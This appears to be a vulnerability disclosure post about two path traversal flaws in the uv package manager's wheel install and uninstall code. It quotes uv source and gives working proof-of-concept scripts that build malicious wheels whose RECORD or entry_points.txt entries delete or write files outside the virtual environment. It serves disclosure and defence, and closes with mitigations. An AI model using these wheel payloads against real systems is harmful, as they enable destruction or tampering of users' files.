uv Path Traversal Findings: Arbitrary Delete and Write
I found these issues with the help of AI while reviewing uv wheel install/uninstall flows.
I contacted the maintainers about these findings two months ago (March 2026).
This post covers two related path traversal issues:
- Arbitrary file deletion via
RECORDtraversal during uninstall - Entrypoint script path traversal via malicious
entry_points.txt
Finding 1: Arbitrary File Deletion via RECORD Path Traversal
uv trusts file paths listed in .dist-info/RECORD during uninstall and deletes them without validating they stay within the expected environment root (such as site-packages).
A malicious wheel can include traversal entries (for example ../../...) in RECORD. During uv pip uninstall, this can delete files outside the virtual environment.
Impact
- Arbitrary file deletion with the permissions of the user running
uv - Deletion of files outside the virtual environment
- Reachable through normal workflow:
uv pip installuv pip uninstall
Root Cause
Uninstall flow:
uvreads paths from.dist-info/RECORD- Paths are joined with
site-packages - Resulting paths are deleted
Missing guards:
- No rejection of
..traversal components inRECORDentries - No robust containment check after path resolution
- Untrusted path input is used directly in file operations
Code References
RECORD parsing strips leading / but does not enforce containment:
uv/crates/uv-install-wheel/src/wheel.rs:796uv/crates/uv-install-wheel/src/wheel.rs:806
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/// Reads the record file
/// <https://www.python.org/dev/peps/pep-0376/#record>
pub fn read_record_file(record: &mut impl Read) -> Result<Vec<RecordEntry>, Error> {
csv::ReaderBuilder::new()
.has_headers(false)
.escape(Some(b'"'))
.from_reader(record)
.deserialize()
.map(|entry| {
let entry: RecordEntry = entry?;
Ok(RecordEntry {
// selenium uses absolute paths for some reason
path: entry.path.trim_start_matches('/').to_string(),
..entry
})
})
.collect()
}
Uninstall joins untrusted path and attempts deletion:
uv/crates/uv-install-wheel/src/uninstall.rs:41uv/crates/uv-install-wheel/src/uninstall.rs:68uv/crates/uv-install-wheel/src/uninstall.rs:77
1
2
3
4
5
6
let path = site_packages.join(&entry.path);
match fs_err::remove_file(&path) {
Ok(()) => { /* ... */ }
Err(err) if err.kind() == std::io::ErrorKind::NotFound => {}
Err(err) => match fs_err::remove_dir_all(&path) {
Reachable from normal uninstall path:
uv/crates/uv/src/commands/pip/operations.rs:802uv/crates/uv-installer/src/uninstall.rs:10
Proof of Concept
Create test workspace and venv:
1
2
3
mkdir /tmp/uv-poc
cd /tmp/uv-poc
uv venv venv
Create victim file:
1
echo "do not delete" > /tmp/uv-poc/victim.txt
Get site-packages path:
1
venv/bin/python -c "import sysconfig; print(sysconfig.get_paths()['purelib'])"
Calculate traversal path from site-packages to victim:
1
python3 -c "import os; print(os.path.relpath('/tmp/uv-poc/victim.txt', '<SITE_PACKAGES_PATH>'))"
Build malicious wheel and replace <REL_PATH> with output above:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
python3 - <<'PY'
import zipfile
rel = "<REL_PATH>"
wheel = "evil-0.1.0-py3-none-any.whl"
dist = "evil-0.1.0.dist-info"
with zipfile.ZipFile(wheel, "w") as z:
z.writestr("evil.py", "")
z.writestr(f"{dist}/METADATA", "Metadata-Version: 2.1\nName: evil\nVersion: 0.1.0\n")
z.writestr(f"{dist}/WHEEL", "Wheel-Version: 1.0\nTag: py3-none-any\n")
z.writestr(f"{dist}/RECORD",
"evil.py,,\n"
f"{dist}/METADATA,,\n"
f"{dist}/WHEEL,,\n"
f"{dist}/RECORD,,\n"
f"{rel},,\n"
)
PY
Install then uninstall:
1
2
uv pip install --python /tmp/uv-poc/venv/bin/python evil-0.1.0-py3-none-any.whl
uv pip uninstall --python /tmp/uv-poc/venv/bin/python evil
Check victim file:
1
ls /tmp/uv-poc/victim.txt
Vulnerable result:
1
No such file or directory
Finding 2: Entrypoint Script Path Traversal
A malicious wheel can include traversal sequences in entry_points.txt script names. If used directly when constructing script output paths, this can write files outside the intended scripts directory during installation.
Normal entry point:
1
2
[console_scripts]
ruff = ruff:main
Expected output:
1
<venv>/bin/ruff
Malicious entry point:
1
2
[console_scripts]
../../outside = pkg:main
If script names are joined as raw filesystem components, traversal escapes scripts directory.
Code References
- Script names accepted from
entry_points.txtwithout separator/traversal guard:uv/crates/uv-install-wheel/src/script.rs:53
- Script path built by joining script name into scripts directory:
uv/crates/uv-install-wheel/src/wheel.rs:175
- Path later converted and written via joins without explicit destination containment check at these points:
uv/crates/uv-install-wheel/src/wheel.rs:210uv/crates/uv-install-wheel/src/wheel.rs:710
Proof of Concept
- Create virtual environment:
1
2
3
mkdir -p /tmp/uv-poc
cd /tmp/uv-poc
uv venv venv
- Determine scripts directory:
1
venv/bin/python -c "import sysconfig; print(sysconfig.get_paths()['scripts'])"
- Ensure target file does not exist:
1
2
rm -f /tmp/uv-poc/entrypoint_victim.sh
ls /tmp/uv-poc/entrypoint_victim.sh
- Build malicious wheel:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
python3 - <<'PY'
import zipfile
wheel = "epevil-0.1.0-py3-none-any.whl"
dist = "epevil-0.1.0.dist-info"
entry_points = "[console_scripts]\n../../entrypoint_victim.sh = epevil:main\n"
with zipfile.ZipFile(wheel, "w") as z:
z.writestr("epevil.py", "def main():\n print('hello from epevil')\n")
z.writestr(
f"{dist}/METADATA",
"Metadata-Version: 2.1\nName: epevil\nVersion: 0.1.0\n"
)
z.writestr(
f"{dist}/WHEEL",
"Wheel-Version: 1.0\nGenerator: poc\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
)
z.writestr(f"{dist}/entry_points.txt", entry_points)
z.writestr(
f"{dist}/RECORD",
"epevil.py,,\n"
f"{dist}/METADATA,,\n"
f"{dist}/WHEEL,,\n"
f"{dist}/entry_points.txt,,\n"
f"{dist}/RECORD,,\n"
)
PY
- Confirm wheel exists:
1
ls epevil-0.1.0-py3-none-any.whl
- Install wheel:
1
uv pip install --python /tmp/uv-poc/venv/bin/python epevil-0.1.0-py3-none-any.whl
The number of ../ segments depends on filesystem layout. Using os.path.relpath(...) makes the traversal payload portable across machines.
Security Impact
These issues are dangerous because they trigger through normal package management operations and operate on filesystem paths, not just package metadata. Depending on user permissions and deployment context, impact may range from local data loss to tampering with operational scripts.
Mitigation Ideas
- Canonicalize and validate all untrusted paths from wheel metadata before filesystem operations.
- Enforce strict containment checks (
resolved_path.starts_with(expected_root)) after resolution. - Reject traversal segments and path separators in script names.
- Treat
entry_pointsscript names as logical identifiers, not path fragments. - Add regression tests that include malicious
RECORDandentry_points.txtpayloads.